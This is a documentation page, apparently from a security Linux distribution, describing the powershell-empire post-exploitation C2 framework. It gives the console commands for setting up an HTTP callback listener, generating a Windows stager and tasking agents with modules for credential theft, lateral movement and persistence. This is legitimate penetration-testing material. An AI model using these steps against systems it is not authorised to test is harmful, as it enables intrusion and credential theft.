Post Exploitation

powershell-empire

powershell-empire is the well-known post-exploitation C2 built around PowerShell (and Python agents for Linux and macOS). You stand up a listener, generate a “stager” that launches an agent on the target, and then drive that agent from Empire’s console through a large library of post-exploitation modules — credential theft, situational awareness, privilege escalation, lateral movement, and persistence. Empire was one of the tools that defined the modern C2 category, and it remains a capable, module-rich framework maintained by the community.

Installed from the AUR; Security → Post Exploitation → powershell-empire. It’s a server/console framework — running it is the useful action — so Oniomarchy launches it directly.

Using it

Empire runs as a server with a client console (powershell-empire). The flow:

1. Start a listener — the endpoint agents call back to:

   (Empire) > uselistener http
   (Empire: listeners/http) > set Host http://10.0.0.2:8080
   (Empire: listeners/http) > execute

2. Generate a stager for the delivery method you have (a PowerShell one-liner, a macro, an executable):

   (Empire) > usestager windows/launcher_bat
   (Empire: stager) > set Listener http
   (Empire: stager) > generate

3. Run the stager on the target; its agent checks in and appears with agents.
4. Task the agent — interact <name>, then run modules against it.

Empire pairs naturally with the Social Engineering Tools for getting a stager executed in the first place.